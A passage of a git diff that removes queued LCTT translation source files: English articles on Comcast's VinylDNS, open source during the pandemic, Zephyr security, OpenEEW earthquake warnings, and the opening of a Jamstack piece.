DNS changes that were manually reviewed and implemented by a separate team of DNS technicians. This system frequently required manual intervention for many of the DNS requests, which was time-consuming. - -Turnaround times for DNS changes were in hours, which is not suitable for infrastructure automation. Large Internet companies can manage millions of DNS records, making it practically impossible for DNS technicians to certify the correctness of the thousands of DNS updates being requested daily. This increased the possibility of an inadvertent errant update to a critical DNS record that ultimately would lead to a downtime event. - -In addition, engineering teams are intimately familiar with their DNS needs—much more so than a single group of DNS technicians serving an entire enterprise. So, we needed to enable engineering teams to self-service their own DNS records, implement changes quickly (in seconds), and at the same time, make sure all changes are done safely. - -### Solution - -VinylDNS was built at Comcast and subsequently opened to empower engineering teams to automate as they please while providing the safety and administrative controls demanded by DNS operators and the Comcast Security team. - -### Security as a way of life - -VinylDNS is all about automation and enhanced security. At Comcast, the VinylDNS team worked in close coordination with both the DNS and engineering teams at Comcast, as well as the security team, to meet stringent engineering and security requirements. An incredible array of access controls was implemented that give extreme flexibility to both DNS operators and engineering teams to control their DNS assets. - -Access controls implemented at the DNS zone level allow any team to control who can make updates to their DNS zones. When a DNS zone is registered and authorized to a VinylDNS group, only members of that group can make changes to DNS records in that DNS zone. In addition, access-list (ACL) rules provide extreme flexibility to allow other VinylDNS users to manage records in that zone. These ACL rules can be defined using regular expression masks or classless inter-domain routing (CIDR) rules and DNS record types that lock down access to specific users and groups to certain records in specific DNS zones. - -### Meeting the demands of automation - -A [representational state transfer (REST) API][3] was built along with the system. This uses request signing to help eliminate man-in-the-middle attacks. Once the engineering teams at Comcast caught wind of the kind of automation afforded by VinylDNS, many began building out tooling to integrate directly with VinylDNS via its API. It wasn't long before most of them were using organically developed tooling integrated with the VinylDNS API to support their DNS needs. - -### Performing at large enterprise scale - -Very quickly, VinylDNS was managing a million DNS records and thousands of DNS zones, and supporting hundreds of engineers. As we sought to expand VinylDNS to support the rest of Comcast, we recognized some challenges. - - 1. Certain DNS records were off-limits, deemed too critical to manage in any way other than by hand. - 2. The ACL rule model, while flexible, would be impossible to set up and maintain across the entirety of Comcast's DNS footprint (which has millions of DNS zones, and hundreds of millions of DNS records). - 3. Many DNS domains are considered "universal" and not locked down to a single group. This holds true for reverse zones, as IP space can often be freely assigned to anyone. - 4. Certain DNS change requests still require a manual review and approval, i.e., you cannot truly automate everything. - 5. Some teams that provision a DNS record are not the same engineers responsible for its lifecycle. The engineers that ultimately decommission a DNS record might be unknown at the time of creation. - 6. Certain teams require DNS changes to be scheduled at some point in the future. For example, maintenance may be done off-hours, and the employee doing the maintenance may not have access to VinylDNS. - - - -To address these issues, VinylDNS added more access controls and features. Shared zones allow universal access while maintaining security via record ownership. Record ownership ensures that the party who creates a DNS record is the only one that can manage that record. This feature alone allowed us to move much of the DNS reverse space into VinylDNS. - -Manual review was added to support tighter governance on certain DNS zones and records. For example, a sensitive DNS zone might demand review before implementing changes, as opposed to having all changes immediately applied. - -High-value domains support was added to block VinylDNS from ever being able to update certain DNS records. High-value DNS records like [www.comcast.com][4], for example, are impossible to manage via VinylDNS and require extreme governance that can't be accomplished via an automation platform. - -Global ACLs were added to support situations where teams that created DNS records were not responsible for the maintenance and decommissioning of those DNS records. This allowed overrides for certain groups by fully qualified domain name (FQDN) and IP address for certain DNS domains. - -Finally, scheduled changes allow users to schedule a DNS change for a future time. - -### Results - -VinylDNS now governs most of Comcast's internal DNS space, managing millions of DNS records across thousands of DNS zones, and supporting thousands of engineers. In addition, we leverage integration with a wide array of tools and programming languages, including Java, Python, Go, and Ruby (most of which are open source). - -### Toward the future - -There are several opportunities for additional feature development, which Comcast has planned as part of its ongoing evolution of the platform. The same level of access controls and governance is needed for DNS assets managed in public cloud settings. In addition, we are looking into the ability to manage DNS zones (create and delete), which is required for IPv6 reverse zones. Finally, we are looking to create a powerful admin experience for our DNS operators who are looking to take advantage of the data that lives in the VinylDNS database. - -### Opening up - -[VinylDNS][5] is an open source project released and managed by [Comcast Open Source][6]. VinylDNS and its accompanying ecosystem were built by engineers in several organizations across Comcast, leveraging our inner source program. It is free for use, licensed under Apache License 2.0. We welcome all contributors, from code to bugs to feature requests, from new projects to project ideas. You can [contact our team on Gitter][7]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/20/9/open-source-dns - -作者:[Paul Cleary][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/pauljamescleary -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/LAW-Internet_construction_9401467_520x292_0512_dc.png?itok=RPkPPtDe (An intersection of pipes.) -[2]: https://opensource.com/resources/devops -[3]: https://www.redhat.com/en/topics/api/what-is-a-rest-api -[4]: http://www.comcast.com -[5]: https://www.vinyldns.io -[6]: https://comcast.github.io/ -[7]: https://gitter.im/vinyldns/vinyldns diff --git a/sources/talk/20200830 The power of open source during a pandemic.md b/sources/talk/20200830 The power of open source during a pandemic.md deleted file mode 100644 index e2ab4fd400..0000000000 --- a/sources/talk/20200830 The power of open source during a pandemic.md +++ /dev/null @@ -1,71 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (The power of open source during a pandemic) -[#]: via: (https://opensource.com/open-organization/20/8/power-open-source-during-pandemic) -[#]: author: (Laura Hilliger https://opensource.com/users/laurahilliger) - -The power of open source during a pandemic -====== -Successfully addressing shared global problems requires open source—both -principles and code—to foster innovation quickly and bridge gaps in -effective remote collaboration. -![Open source prescription.][1] - -When a novel coronavirus made headlines earlier this year, the world wasn't ready. In a short period of time, we all witnessed the consequences of having a global, interconnected economy unprepared for effective global collaboration. Indeed, this pandemic shed light on the under-preparedness of a truly global economy in a hyper-connected world. We didn't pay attention to the fact that a health issue in China could have an impact on both the real estate market in North Carolina and a shoe factory in Italy. Facing a pandemic, especially one that forced such extreme social distancing, required drastic shifts—both technological and social. - -Many organizations, governments, and companies realized that facing a global pandemic like COVID-19 required new tools for tracking the spread of the virus. In order to keep up with this growing threat, decision makers around the world needed effective technological solutions for both tracking and contact tracing; we needed correct, up-to-the-minute data for making the best decisions. Facing this pandemic also required non-technical organizations to become technically capable quite quickly. Organizations were forced to rapidly build new solutions and uncover new ways of working. Facing this new global problem, the world realized that the digital transformation everyone has been talking about—but delaying until they had a budget—was now more important than ever. - -Moreover, as we started to advise and work with different organizations around the world, we discovered that many of them were facing similar issues. As a last minute solution, many started building not only their own custom technologies but also their own custom _organizational strategies_ for tackling this crisis. Quick but reactive approaches left many governments and organizations across the world building exactly the same solutions, often in isolation. Had they collaborated and shared what they were learning, they could have been building solutions _with_ one another. - -In other words: Had they been operating more like open source communities and truly open organizations, they could have found better answers sooner. - -### Building global solutions the open source way - -For years, members of the open source community have been collaborating with one another on projects like these. We've been working together in remote environments since long before the pandemic hit. Our processes and policies, documented or not, have allowed us to push the technology industry forward at warp speed. In a mere 30 years, we've managed to make open source the standard for new software, and we've proven that global, remote, community-based collaboration can solve big problems. - -Now the rest of the world seems to be following suit, adapting open principles and practices to create global change. By relying on the open source principles and code, we could truly build more effectively shared solutions and strategies that could help us all stop a global pandemic. - -We see many examples of openness bridging collaboration gaps. The [UK Government Digital Service][2] is uniting citizens and government, helping the government to operate more effectively and efficiently. The [UNESCO Global Network of Learning Cities][3] is pushing city education policy forward, facilitating partnerships between member cities. [Greenpeace is championing open source][4], and using it to help change mindsets and behaviors surrounding the climate emergency. Other coalitions have pledged to accelerate [cooperation on a coronavirus vaccine and to share research][5], treatment, and medicines across the globe. - -The world needs to shift the way it's approaching problems and continue locating solutions the open source way. Individually, this might mean becoming connection-oriented problem-solvers. We need people able to think communally, communicate asynchronously, and consider innovation iteratively. We're seeing that organizations would need to consider technologists less as tradespeople who build systems and more as experts in global collaboration, people who can make future-proof decisions on everything from data structures to personnel processes. - -### A new strategy: Cross-sector social innovation - -Now is the time to start building new paradigms for global collaboration and find unifying solutions to our shared problems, and one key element to doing this successfully is our ability to work together across sectors. A global pandemic needs the public sector, the private sector, and the nonprofit world to collaborate, each bringing its own expertise to a common, shared platform. - -By relying on the open source principles and code, we could truly build more effectively shared solutions and strategies that could help us all stop a global pandemic. - -The private sector plays a key role in building this method of collaboration by building a robust social innovation strategy that aligns with the collective problems affecting us all. This pandemic is a great example of collective global issues affecting every business around the world, and this is the reason why shared platforms and effective collaboration will be key moving forward. - -Social innovation is an approach to social responsibility that requires a unique strategy for every organization, one directly linking their business goals and company values to the common good. The most effective way of implementing this strategy that requires fast-paced, social innovation is by embracing open source principles to enable collaboration across regions and sectors. - -For example, [PathCheck][6] Foundation is doing this to quickly and effectively build a platform for shared needs. The PathCheck suite of open source software gives public and private sector organizations solutions for digital contact tracing and exposure notification, with the goal of containing COVID-19 and restarting the economy without sacrificing privacy. Started by Prof. Ramesh Raskar and passionate students at MIT—and now consisting of 1800 volunteers in partnership with many companies, and supported by a newly created nonprofit—PathCheck is a great example of how collaboration on an open source platform is a multiplier (being developed by a growing global, passionate, community of engineers, scientist, health authorities, designers, and contributors, and being used by many governments and organizations than any other service provider). - -There is a way to tackle the pandemic and other global issues more effectively through shared platforms and open collaboration. Open source advocates have been doing it for a while, bringing open source to non-profits, governments and corporations, opening up education, connecting open design to global knowledge networks, building open hardware initiatives and structuring open government work. Members of the global open source community have already shown how the post-pandemic world could look—humane, transparent, collaborative, diverse. - -Last but not least, the power of the individual aligned with a community—and the power of collaboration for solving issues that are important to all of us—are more powerful than we think. When companies, the public sector, and nonprofits work together, everyone can be part of a _shared_ solution. An open source approach allows every individual to make an impact and contribute to projects using different, complementary skill sets. - -Everyone can make a difference every day. And we can use the power of open source to ensure that difference changes the world for good. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/20/8/power-open-source-during-pandemic - -作者:[Laura Hilliger][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/laurahilliger -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/osdc_520x292_opensourceprescription.png?itok=gFrc_GTH (Open source prescription.) -[2]: https://www.gov.uk/government/organisations/government-digital-service/about -[3]: https://uil.unesco.org/lifelong-learning/learning-cities -[4]: https://opensource.com/tags/open-organization-greenpeace -[5]: https://opensource.com/open-organization/20/6/covid-alliance -[6]: https://pathcheck.org/ diff --git a/sources/talk/20200831 Making Zephyr More Secure.md b/sources/talk/20200831 Making Zephyr More Secure.md deleted file mode 100644 index 9b63cbe66d..0000000000 --- a/sources/talk/20200831 Making Zephyr More Secure.md +++ /dev/null @@ -1,59 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Making Zephyr More Secure) -[#]: via: (https://www.linux.com/audience/developers/making-zephyr-more-secure/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -Making Zephyr More Secure -====== - -Zephyr is gaining momentum where more and more companies are embracing this open source project for their embedded devices. However, security is becoming a huge concern for these connected devices. The NCC Group recently conducted an evaluation and security assessment of the project to help harden it against attacks. In the interview, Kate Stewart, Senior Director of Strategic Programs at Linux Foundation talk about the assessment and the evolution of the project. - -Here is a quick transcript of the interview: - -**Swapnil Bhartiya: The NCC group recently evaluated Linux for security. Can you talk about what was the outcome of that evaluation?** -Kate Stewart: We’re very thankful for the NCC group for the work that they did and helping us to get Zephyr hardened further. In some senses when it had first hit us, it was like, “Okay, they’re taking us seriously now. Awesome.” And the reason they’re doing this is that their customers are asking for it. They’ve got people who are very interested in Zephyr so they decided to invest the time doing the research to see what they could find. And the fact that we’re good enough to critique now is a nice positive for the project, no question. - -Up till this point, we’d had been getting some vulnerabilities that researchers had noticed in certain areas and had to tell us about. We’d issued CVEs so we had a process down, but suddenly being hit with the whole bulk of those like that was like, “Okay, time to up our game guys.” And so, what we’ve done is we found out we didn’t have a good way of letting people who have products with Zephyr based on them know about our vulnerabilities. And what we wanted to be able to do is make it clear that if people have products and they have them out in the market and that they want to know if there’s a vulnerability. We just added a new webpage so they know how to register, and they can let us know to contact them. - -The challenge of embedded is you don’t quite know where the software is. We’ve got a lot of people downloading Zephyr, we got a lot of people using Zephyr. We’re seeing people upstreaming things all the time, but we don’t know where the products are, it’s all word of mouth to a large extent. There’re no tracers or anything else, you don’t want to do that in an embedded space on IoT; battery life is important. And so, it’s pretty key for figuring out how do we let people who want to be notified know. - -We’d registered as a CNA with Mitre several years ago now and we can assign CVE numbers in the project. But what we didn’t have was a good way of reaching out to people beyond our membership under embargo so that we can give them time to remediate any issues that we’re fixing. By changing our policies, it’s gone from a 60-day embargo window to a 90-day embargo window. In the first 30 days, we’re working internally to get the team to fix the issues and then we’ve got a 60-day window for our people who do products to basically remediate in the field if necessary. So, getting ourselves useful for product makers was one of the big focuses this year. - -**Swapnil Bhartiya: Since Zephyr’s LTS release was made last year, can you talk about the new releases, especially from the security perspective because I think the latest version is 2.3.0?** -Kate Stewart: Yeah, 2.3.0 and then we also have 1.14.2. and 1.14 is our LTS-1 as we say. And we’ve put an update out to it with the security fixes and a long-term stable like the Linux kernel has security fixes and bug fixes backported into it so that people can build products on it and keep it active over time without as much change in the interfaces and everything else that we’re doing in the mainline development tree and what we’ve just done with the 2.3. - -2.3 has a lot of new features in it and we’ve got all these vulnerabilities remediated. There’s a lot more coming up down the road, so the community right now is working. We’ve adopted new set of coding guidelines for the project and we will be working on that so we can get ourselves ready for going after safety certifications next year. So there’s a lot of code in motion right now, but there’s a lot of new features being added every day. It’s great. - -**Swapnil Bhartiya: I also want to talk a bit about the community side of it. Can you talk about how the community is growing new use cases?** -Kate Stewart: We’ve just added two new members into Zephyr. We’ve got Teenage Engineering has just joined us and Laird Connectivity has just joined us and it’s really cool to start seeing these products coming out. There are some rather interesting technologies and products that are showing up and so I’m really looking forward to being able to have blog posts about them. - -Laird Connectivity is basically a small device running Zephyr that you can use for monitoring distance without recording other information. So, in days of COVID, we need to start figuring out technology assists to help us keep the risk down. Laird Connectivity has devices for that. - -So we’re seeing a lot of innovation happening very quickly in Zephyr and that’s really Zephyr’s strength is it’s got a very solid code base and lets people add their innovation on top. - -**Swapnil Bhartiya: What role do you think Zephyr going to play in the post-COVID-19 world?** -Kate Stewart: Well, I think they offer us interesting opportunities. Some of the technologies that are being looked at for monitoring for instance – we have distance monitoring, contact tracing and things like that. We can either do it very manually or we can start to take advantage of the technology infrastructures to do so. But people may not want to have a device effectively monitoring them all the time. They may just want to know exactly, position-wise, where they are. So that’s potentially some degree of control over what’s being sent into the tracing and tracking. - -These sorts of technologies I think will be helping us improve things over time. I think there’s a lot of knowledge that we’re getting out of these and ways we can optimize the information and the RTOS and the sensors are discrete functionality and are improving how do we look at things. - -**Swapnil Bhartiya: There are so many people who are using Zephyr but since it is open source we not even aware of them. How do you ensure that whether someone is an official member of the project or not if they are running Zephyr their devices are secure?** -Kate Stewart: We do a lot of testing with Zephyr, there’s a tremendous amount of test infrastructure. There’s the whole regression infrastructure. We work to various thresholds of quality levels and we’ve got a lot of expertise and have publicly documented all of our best practices. A security team is a top-notch group of people. I’m really so proud to be able to work with them. They do a really good job of caring about the issues as well as finding them, debugging them and making sure anything that comes up gets solved. So in that sense, there’s a lot of really great people working on Zephyr and it makes it a really fun community to work with, no question. In fact, it’s growing fast actually. - -**Swapnil Bhartiya: Kate, thank you so much for taking your time out and talking to me today about these projects.** --------------------------------------------------------------------------------- - -via: https://www.linux.com/audience/developers/making-zephyr-more-secure/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 diff --git a/sources/talk/20200831 Open Source Project For Earthquake Warning Systems.md b/sources/talk/20200831 Open Source Project For Earthquake Warning Systems.md deleted file mode 100644 index 7cefc1bf90..0000000000 --- a/sources/talk/20200831 Open Source Project For Earthquake Warning Systems.md +++ /dev/null @@ -1,94 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Open Source Project For Earthquake Warning Systems) -[#]: via: (https://www.linux.com/featured/open-source-project-for-earthquake-warning-systems/) -[#]: author: (Swapnil Bhartiya https://www.linux.com/author/swapnil/) - -Open Source Project For Earthquake Warning Systems -====== - -Earthquakes or the shaking doesn’t kill people, buildings do. If we can get people out of buildings in time, we can save lives. Grillo has founded OpenEEW in partnership with IBM and the Linux Foundation to allow anyone to build their own earthquake early-warning system. Swapnil Bhartiya, the founder of TFiR, talked to the founder of Grillo on behalf of The Linux Foundation to learn more about the project. - -Here is the transcript of the interview: - -**Swapnil Bhartiya: If you look at these natural phenomena like earthquakes, there’s no way to fight with nature. We have to learn to coexist with them. Early warnings are the best thing to do. And we have all these technologies – IoTs and AI/ML. All those things are there, but we still don’t know much about these phenomena. So, what I do want to understand is if you look at an earthquake, we’ll see that in some countries the damage is much more than some other places. What is the reason for that?** - -Andres Meira: earthquakes disproportionately affect countries that don’t have great construction. And so, if you look at places like Mexico, the Caribbean, much of Latin America, Nepal, even some parts of India in the North and the Himalayas, you find that earthquakes can cause more damage than say in California or in Tokyo. The reason is it is buildings that ultimately kill people, not the shaking itself. So, if you can find a way to get people out of buildings before the shaking that’s really the solution here. There are many things that we don’t know about earthquakes. It’s obviously a whole field of study, but we can’t tell you for example, that an earthquake can happen in 10 years or five years. We can give you some probabilities, but not enough for you to act on. - -What we can say is that an earthquake is happening right now. These technologies are all about reducing the latency so that when we know an earthquake is happening in milliseconds we can be telling people who will be affected by that event. - -**Swapnil Bhartiya: What kind of work is going on to better understand earthquakes themselves?** - -Andres Meira: I have a very narrow focus. I’m not a seismologist and I have a very narrow focus related to detecting earthquakes and alerting people. I think in the world of seismology, there are a lot of efforts to understand the tectonic movement, but I would say there are a few interesting things happening that I know of. For example, undersea cables. People in Chile and other places are looking at undersea telecommunications cables and the effects that any sort of seismic movement have on the signals. They can actually use that as a detection system. But when you talk about some of the really deep earthquakes, 60-100 miles beneath the surface, man has not yet created holes deep enough for us to place sensors. So we’re very limited as to actually detecting earthquakes at a great depth. We have to wait for them to affect us near the surface. - -**Swapnil Bhartiya: So then how do these earthquake early warning systems work? I want to understand from a couple of points: What does the device itself look like? What do those sensors look like? What does the software look like? And how do you kind of share data and interact with each other?** - -Andres Meira: The sensors that we use, we’ve developed several iterations over the last couple of years and effectively, they are a small microcontroller, an accelerometer, this is the core component and some other components. What the device does is it records accelerations. So, it looks on the X, Y, and Z axes and just records accelerations from the ground so we are very fussy about how we install our sensors. Anybody can install it in their home through this OpenEEW initiative that we’re doing. - -The sensors themselves record shaking accelerations and we send all of those accelerations in quite large messages using MQTT. We send them every second from every sensor and all of this data is collected in the cloud, and in real-time we run algorithms. We want to know that the shaking, which the accelerometer is getting is not a passing truck. It’s actually an earthquake. - -So we’ve developed the algorithms that can tell those things apart. And of course, we wait for one or two sensors to confirm the same event so that we don’t get any false positives because you can still get some errors. Once we have that confirmation in the cloud we can send a message to all of the client devices. If you have an app, you will be receiving a message saying, there’s an earthquake at this location, and your device will then be calculating how long it will take to reach it. Therefore, how much energy will be lost and therefore, what shaking you’re going to be expecting very soon. - -**Swapnil Bhartiya: Where are these devices installed?** - -Andres Meira: They are installed at the moment in several countries – Mexico, Chile, Costa Rica, and Puerto Rico. We are very fussy about how people install them, and in fact, on the OpenEEW website, we have a guide for this. We really require that they’re installed on the ground floor because the higher up you go, the different the frequencies of the building movement, which affects the recordings. We need it to be fixed to a solid structural element. So this could be a column or a reinforced wall, something which is rigid and it needs to be away from the noise. So it wouldn’t be great if it’s near a door that was constantly opening and closing. Although we can handle that to some extent. As long as you are within the parameters, and ideally we look for good internet connections, although we have cellular versions as well, then that’s all we need. - -The real name of the game here is a quantity more than quality. If you can have a lot of sensors, it doesn’t matter if one is out. It doesn’t matter if the quality is down because we’re waiting for confirmation from other ones and redundancy is how you achieve a stable network. - -**Swapnil Bhartiya: What is the latency between the time when sensors detect an earthquake and the warning is sent out? Does it also mean that the further you are from the epicenter, the more time you will get to leave a building?** - -Andres Meira: So the time that a user gaps in terms of what we call the window of opportunity for them to actually act on the information is a variable and it depends on where the earthquake is relative to the user. So, I’ll give you an example. Right now, I’m in Mexico City. If we are detecting an earthquake in Acapulco, then you might get 60 seconds of advanced warning because an earthquake travels at more or less a fixed velocity, which is unknown and so the distance and the velocity gives you the time that you’re going to be getting. - -If that earthquake was in the South of Mexico in Oaxaca, we might get two minutes. Now, this is a variable. So of course, if you are in Istanbul, you might be very near the fault line or Kathmandu. You might be near the fault line. If the distance is less than what I just described, the time goes down. But even if you only have five seconds or 10 seconds, which might happen in the Bay area, for example, that’s still okay. You can still ask children in a school to get underneath the furniture. You can still ask surgeons in a hospital to stop doing the surgery. There’s many things you can do and there are also automated things. You can shut off elevators or turn off gas pipes. So anytime is good, but the actual time itself is a variable. -** -Swapnil Bhartiya: The most interesting thing that you are doing is that you are also open sourcing some of these technologies. Talk about what components you have open source and why.** - -Andres Meira: Open sourcing was a tough decision for us. It wasn’t something we felt comfortable with initially because we spent several years developing these tools, and we’re obviously very proud. I think that there came a point where we realized why are we doing this? Are we doing this to develop cool technologies to make some money or to save lives? All of us live in Mexico, all of us have seen the devastation of these things. We realized that open source was the only way to really accelerate what we’re doing. - -If we want to reach people in these countries that I’ve mentioned; if we really want people to work on our technology as well and make it better, which means better alert times, less false positives. If we want to really take this to the next level, then we can’t do it on our own. It will take a long time and we may never get there. - -So that was the idea for the open source. And then we thought about what we could do with open source. We identified three of our core technologies and by that I mean the sensors, the detection system, which lives in the cloud, but could also live on a Raspberry Pi, and then the way we alert people. The last part is really quite open. It depends on the context. It could be a radio station. It could be a mobile app, which we’ve got on the website, on the GitHub. It could be many things. Loudspeakers. So those three core components, we now have published in our repo, which is OpenEEW on GitHub. And from there, people can pick and choose. - -It might be that some people are data scientists so they might go just for the data because we also publish over a terabyte of accelerometer data from our networks. So people might be developing new detection systems using machine learning, and we’ve got instructions for that and we would very much welcome it. Then we have something for the people who do front end development. So they might be helping us with the applications and then we also have people something for the makers and the hardware guys. So they might be interested in working on the census and the firmware. There’s really a whole suite of technologies that we published. - -**Swapnil Bhartiya: There are other earthquake warning systems. How is OpenEEW different?** - -Andres Meira: I would divide the other systems into two categories. I would look at the national systems. I would look at say the Japanese or the California and the West coast system called Shake Alert. Those are systems with significant public funding and have taken decades to develop. I would put those into one category and another category I would look at some applications that people have developed. My Shake or Skylert, or there’s many of them. - -If you look at the first category, I would say that the main difference is that we understand the limitations of those systems because an earthquake in Northern Mexico is going to affect California and vice versa. An earthquake in Guatemala is going to affect Mexico and vice versa. An earthquake in Dominican Republic is going to affect Puerto Rico. The point is that earthquakes don’t respect geography or political boundaries. And so we think national systems are limited, and so far they are limited by their borders. So, that was the first thing. - -In terms of the technology, actually in many ways, the MEMS accelerometers that we use now are streets ahead of where we were a couple of years ago. And it really allows us to detect earthquakes hundreds of kilometers away. And actually, we can perform as well as these national systems. We’ve studied our system versus the Mexican national system called SASMEX, and more often than not, we are faster and more accurate. It’s on our website. So there’s no reason to say that our technology is worse. In fact, having cheaper sensors means you can have huge networks and these arrays are what make all the difference. - -In terms of the private ones, the problems with those are that sometimes they don’t have the investment to really do wide coverage. So the open sources are our strength there because we can rely on many people to add to the project. - -**Swapnil Bhartiya: What kind of roadmap do you have for the project? How do you see the evolution of the project itself?** - -Andres Meira: So this has been a new area for me; I’ve had to learn. The governance of OpenEEW as of today, like you mentioned, is now under the umbrella of the Linux Foundation. So this is now a Linux Foundation project and they have certain prerequisites. So we had to form a technical committee. This committee makes the steering decisions and creates the roadmap you mentioned. So, the roadmap is now published on the GitHub, and it’s a work in progress, but effectively we’re looking 12 months ahead and we’ve identified some areas that really need priority. Machine learning, as you mentioned, is definitely something that will be a huge change in this world because if we can detect earthquakes, potentially with just a single station with a much higher degree of certainty, then we can create networks that are less dense. So you can have something in Northern India and in Nepal, in Ecuador, with just a handful of sensors. So that’s a real Holy grail for us. - -We also are asking on the roadmap for people to work with us in lots of other areas. In terms of the sensors themselves, we want to do more detection on the edge. We feel that edge computing with the sensors is obviously a much better solution than what we do now, which has a lot of cloud detection. But if we can move a lot of that work to the actual devices, then I think we’re going to have much smarter networks and less telemetry, which opens up new connectivity options. So, the sensors as well are another area of priority on the road map. - -**Swapnil Bhartiya: What kind of people would you like to get involved with and how can they get involved?** - -Andres Meira: So as of today, we’re formally announcing the initiative and I would really invite people to go to OpenEEW.com, where we’ve got a site that outlines some areas that people can get involved with. We’ve tried to consider what type of people would join the project. So you’re going to get seismologists. We have seismologists from Harvard University and from other areas. They’re most interested in the data from what we’ve seen so far. They’re going to be looking at the data sets that we’ve offered and some of them are already looking at machine learning. So there’s many things that they might be looking at. Of course, anyone involved with Python and machine learning, data scientists in general, might also do similar things. Ultimately, you can be agnostic about seismology. It shouldn’t put you off because we’ve tried to abstract it away. We’ve got down to the point where this is really just data. - -Then we’ve also identified the engineers and the makers, and we’ve tried to guide them towards the repos, like the sensory posts. We are asking them to help us with the firmware and the hardware. And then we’ve got for your more typical full stack or front end developer, we’ve got some other repos that deal with the actual applications. How does the user get the data? How does the user get the alerts? There’s a lot of work we can be doing there as well. - -So, different people might have different interests. Someone might just want to take it all. Maybe someone might want to start a network in the community, but isn’t technical and that’s fine. We have a Slack channel where people can join and people can say, “Hey, I’m in this part of the world and I’m looking for people to help me with the sensors. I can do this part.” Maybe an entrepreneur might want to join and look for the technical people. - -So, we’re just open to anybody who is keen on the mission, and they’re welcome to join. --------------------------------------------------------------------------------- - -via: https://www.linux.com/featured/open-source-project-for-earthquake-warning-systems/ - -作者:[Swapnil Bhartiya][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://www.linux.com/author/swapnil/ -[b]: https://github.com/lujun9972 diff --git a/sources/talk/20200901 4 reasons Jamstack is changing web development.md b/sources/talk/20200901 4 reasons Jamstack is changing web development.md deleted file mode 100644 index 54741b402f..0000000000 --- a/sources/talk/20200901 4 reasons Jamstack is changing web development.md +++ /dev/null @@ -1,115 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (4 reasons Jamstack is changing web development) -[#]: via: (https://opensource.com/article/20/9/jamstack) -[#]: author: (Phil Hawksworth https://opensource.com/users/phil-hawksworth) - -4 reasons Jamstack is changing web development -====== -Jamstack allows web developers to move far beyond static sites without -the need for complex, expensive active-hosting infrastructure. -![spiderweb diagram][1] - -The way we use and the way we build the web have evolved dramatically since its inception. Developers have seen the rise and fall of many architectural and development paradigms intended to satisfy more complex user experiences, support evolving device capabilities, and enable more effective development workflows. - -In 2015, [Netlify][2] founders Matt Biilmann and Chris Bach coined the term "[Jamstack][3]" to describe the architectural model they were championing and that was gaining popularity. In reality, the foundations of this model have existed from the beginning of the web. But multiple factors led them to coin this new term to encapsulate the approach and to give developers and technical architects a better means to discuss it. - -In this article, I'll look at those factors, Jamstack's attributes, why the term came into existence, and how it is changing how we approach web development. - -### What is Jamstack? - -All Jamstack sites share a core principle: They are a collection of static assets generated during a build or compilation process so that they can be served from a simplified web server or directly from a content delivery network (CDN). - -Before the term "Jamstack" emerged, many people described these sites as "static." This describes how the first sites on the web were created (although CDNs would come later). But the term "static sites" does a poor job of capturing what is possible with the Jamstack due to the way tools, services, and browsers have evolved. - -The simplest Jamstack site is a single HTML file served as a static file. For a long time, open source web servers efficiently hosted static assets this way. This has become a commodity, with companies including Amazon, Microsoft, and Google offering hosting services based on file serving rather than spending compute cycles generating a response for each request on-demand. - -But that's just a static site? Right? - -Well, yes. But it's the thin end of the wedge. Jamstack builds upon this to deliver sites that confound the term "static" as a useful descriptor. - -If you take things a stage further and introduce JavaScript into the equation, you can begin enhancing the user's experience. Modern browsers have increasingly capable JavaScript engines (like the open source [V8][4] from Google) and powerful browser [APIs][5] to enable services such as local-caching, location services, identity services, media access, and much more. - -In many ways, the browser's JavaScript engine has replaced the runtime environment needed to perform dynamic operations in web experiences. Whereas a traditional technology stack such as [LAMP][6] requires configuration and maintenance of an operating system (Linux) and an active web server (Apache), these are not considerations with Jamstack. Files are served statically to clients (browsers), and if any computation is required, it can happen there rather than on the hosting infrastructure. - -As Matt Biilmann describes it, "the runtime has moved up a level, to the browser." - -Web experiences don't always require content to be dynamic or personalized, but they often do. Jamstack sites can provide this, thanks to the efficient use of JavaScript as well as a booming API economy. Many companies now provide content, tools, and services via APIs. These APIs enable even small project teams to inject previously unattainable, prohibitively expensive, and complex abilities into their Jamstack projects. For example, rather than needing to build identity, payment, and fulfillment services or to host, maintain, secure, and scale database capabilities, teams can source these functionalities from experts in those areas through APIs. - -Businesses have emerged to provide these and many other services with all of the economies of scale and domain specializations needed to make them robust, efficient, and sustainable. The ability to consume these services via APIs decouples them from web applications' code, which is a very desirable thing. - -Because these services took us beyond the old concept of static sites, a more descriptive term was needed. - -### What's in a name? - -The 